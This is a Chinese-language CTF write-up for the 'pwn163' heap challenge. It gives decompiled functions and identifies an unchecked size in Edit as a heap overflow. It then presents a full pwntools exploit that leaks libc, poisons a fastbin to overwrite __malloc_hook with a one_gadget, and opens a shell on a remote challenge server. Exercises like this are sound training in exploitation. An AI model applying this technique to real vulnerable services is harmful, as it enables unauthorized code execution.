pwn163

基础漏洞利用 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

检查一下保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn163
[*] '/home/niuyingying/ctf/pwn/pwn163'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序流程,大致如下:

int menu()
{
  puts("1. Created ");
  puts("2. Edit");
  puts("3. Free");
  puts("4. Show");
  puts("5. Exit");
  return printf("Command: ");
}
void __fastcall Created(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(0x18LL * i + a1) )
    {
      printf("Size: ");
      size = read_num();
      if ( size > 0 )
      {
        if ( size > 0x1000 )
          size = 0x1000;
        v3 = calloc(size, 1u);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(0x18LL * i + a1) = 1;
        *(_QWORD *)(a1 + 0x18LL * i + 8) = size;
        *(_QWORD *)(a1 + 0x18LL * i + 16) = v3;
        printf("Createed Index %d\n", i);
      }
      return;
    }
  }
}
__int64 __fastcall Edit(__int64 a1)
{
  __int64 v1; // rax
  int i; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v1 = read_num();
  i = v1;
  if ( (unsigned int)v1 < 0x10 )
  {
    v1 = *(unsigned int *)(24LL * (int)v1 + a1);
    if ( (_DWORD)v1 == 1 )
    {
      printf("Size: ");
      v1 = read_num();
      size = v1;
      if ( (int)v1 > 0 )
      {
        printf("Content: ");
        return read_n(*(_QWORD *)(24LL * i + a1 + 16), size);
      }
    }
  }
  return v1;
}
__int64 __fastcall Free(__int64 a1)
{
  __int64 v1; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v1 = read_num();
  i = v1;
  if ( (unsigned int)v1 < 0x10 )
  {
    v1 = *(unsigned int *)(24LL * (int)v1 + a1);
    if ( (_DWORD)v1 == 1 )
    {
      *(_DWORD *)(24LL * i + a1) = 0;
      *(_QWORD *)(24LL * i + a1 + 8) = 0;
      free(*(void **)(24LL * i + a1 + 16));
      v1 = 24LL * i + a1;
      *(_QWORD *)(v1 + 16) = 0;
    }
  }
  return v1;
}
int __fastcall Show(__int64 a1)
{
  int v1; // eax
  int i; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v1 = read_num();
  i = v1;
  if ( (unsigned int)v1 < 0x10 )
  {
    v1 = *(_DWORD *)(24LL * v1 + a1);
    if ( v1 == 1 )
    {
      puts("Content: ");
      write_n(*(_QWORD *)(24LL * i + a1 + 16), *(_QWORD *)(24LL * i + a1 + 8));
      return puts(byte_14F1);
    }
  }
  return v1;
}

发现 Edit 函数没有检查 size 大小,因此存在堆溢出

思路和 pwn161 - AurY1n's Blog 一样,换一个 one_gadget 即可

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn163')
libc = ELF('./libc-2.23.so')

# io = process('./pwn163')
io = remote("pwn.challenge.ctf.show",28167)

# io = gdb.debug('./pwn162', gdbscript='set pagination off\nbreakrva 0xD33\nbreakrva 0xEC1\nc')

# io = gdb.debug(
#     './pwn163',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xE6A
# breakrva 0xF4E
# breakrva 0x104F
# breakrva 0x1113
# c
# '''
# )

def Created(size):
    io.recvuntil(b"Command: ")
    io.sendline(b"1")
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())

def Edit(i,size,content):
    io.recvuntil(b"Command: ")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.send(content)

def Free(i):
    io.recvuntil(b"Command: ")
    io.sendline(b"3")
    io.recvuntil(b"Index: ")
    io.sendline(str(i).encode())

def Show(i):
    io.recvuntil(b"Command: ")
    io.sendline(b"4")
    io.recvuntil(b"Index: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"Content: \n")

# 0
Created(0x18)

# 1
Created(0xf0)

# 2
Created(0x60)

# 3
Created(0x10)

payload1 = b"\x00" * 0x18 + b"\x71"
Edit(0,0x19,payload1)

Free(1)

# 1
Created(0xf0)

Show(2)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0xf02a4
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

# 4
Created(0x60)
Free(4)

Edit(2,0x8,p64(malloc_hook - 0x23))

# 4
Created(0x60)

# 5
Created(0x60)

payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
Edit(5,0x1b,payload2)

Created(0x10)

io.interactive()